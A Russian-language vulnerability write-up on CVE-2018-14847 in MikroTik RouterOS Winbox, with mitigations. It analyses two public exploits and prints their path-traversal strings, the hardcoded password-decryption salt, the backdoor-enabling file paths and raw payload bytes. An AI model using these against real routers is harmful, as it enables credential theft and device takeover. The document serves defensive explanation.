Уязвимость компонента Winbox операционной системы RouterOS маршрутизаторов MikroTik
Уязвимость компонента Winbox операционной системы RouterOS маршрутизаторов MikroTik
Категория: Программы Теги: Уязвимости Опубликовано: 29 мая 2025

Уязвимость BDU:2018-01357 (CVE-2018-14847) MikroTik

Уязвимость BDU:2018-01357 (CVE-2018-14847) в компоненте Winbox RouterOS (MikroTik) позволяет удалённому злоумышленнику обходить аутентификацию и читать произвольные файлы через путь с последовательностью //./../. Уязвимость возникает из-за некорректной нормализации путей при обработке запросов Winbox.

Анализ уязвимости

Уровень опасности: 9.1 CRITICAL
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

  • Уязвимость доступна из сети (AV:N)

  • Низкая сложность эксплуатации (AC:L)

  • Не требует привилегий (PR:N)

  • Не требует действий пользователя (UI:N)

  • Не оказывает влияния на другие системы (S:U)

  • Раскрытие конфиденциальных данных (C:H)

  • Полное нарушение целостности (I:H)

  • Нет воздействия на доступность (A:N)

Условия эксплуатации

  1. Устройство под управлением RouterOS ≤ v6.42.

  2. Порт Winbox (8291) открыт для злоумышленника.

  3. Доступ к внутренней сети не обязателен – атака возможна через интернет при открытом порте.


Анализ эксплойтов из общего доступа

1. Эксплойт "By the Way" (C++) 

Цель: Чтение файла user.dat при помощи уязвимости CVE-2018-14847, активация backdoor-аккаунта devel.
Ключевые функции:

  1. Извлечение паролей (getPasswords):
    Отправляет вредоносный Winbox-запрос для чтения //./.././../flash/rw/store/user.dat:

    msg.add_string(1, "//./.././.././../flash/rw/store/user.dat");
    winboxSession.send(msg);

    Сервер возвращает содержимое файла без аутентификации.

  2. Расшифровка пароля (get_password):
    Пароль в user.dat зашифрован XOR с MD5-хэшем от логина + соли 283i4jfkai3389:

    std::string hash_this(p_username);
    hash_this.append("283i4jfkai3389");
    MD5 md5;
    md5.update(hash_this.c_str(), hash_this.size());
    std::string md5_hash(md5.getDigest());
    decrypted = encrypted_pass[i] ^ md5_hash[i % md5_hash.size()];
  3. Создание backdoor (create_file):
    Записывает файлы, активирующие учётную запись devel:

    msg.add_string(1, "//./.././.././../pckg/option");
    msg.add_string(1, "//./.././.././../flash/nova/etc/devel-login");

    После этого входит в систему как devel с паролем администратора через Telnet/SSH.

2. Эксплойт на Go

Цель: Только извлечение учётных данных.
Особенности:

  • Использует "сырые" байтовые пакеты для эксплуатации:

    a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, ...} // Payload для LFI
    b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, ...} // Payload для чтения данных
  • Расшифровка пароля идентична C++-версии:

    hasher.Write([]byte("283i4jfkai3389"))
    key := hasher.Sum(nil)
    passw[i] = passEnc[i] ^ key[i%len(key)]

Защитные меры

  1. Обновление ПО: Установить RouterOS ≥ v6.43.

  2. Блокировка портов: Закрыть порт 8291 для внешнего доступа. Пример правила для MikroTik:

    /ip firewall filter
    add chain=input protocol=tcp dst-port=8291 action=drop
  3. Отключение Winbox: Использовать только SSH/WebFig (порт 22/80).

  4. Сетевой ACL: Разрешать доступ к порту управления только с доверенных IP.

  5. Аудит паролей: Сменить пароли администраторов после обновления.

Алексей Черемных Алексей Черемных
63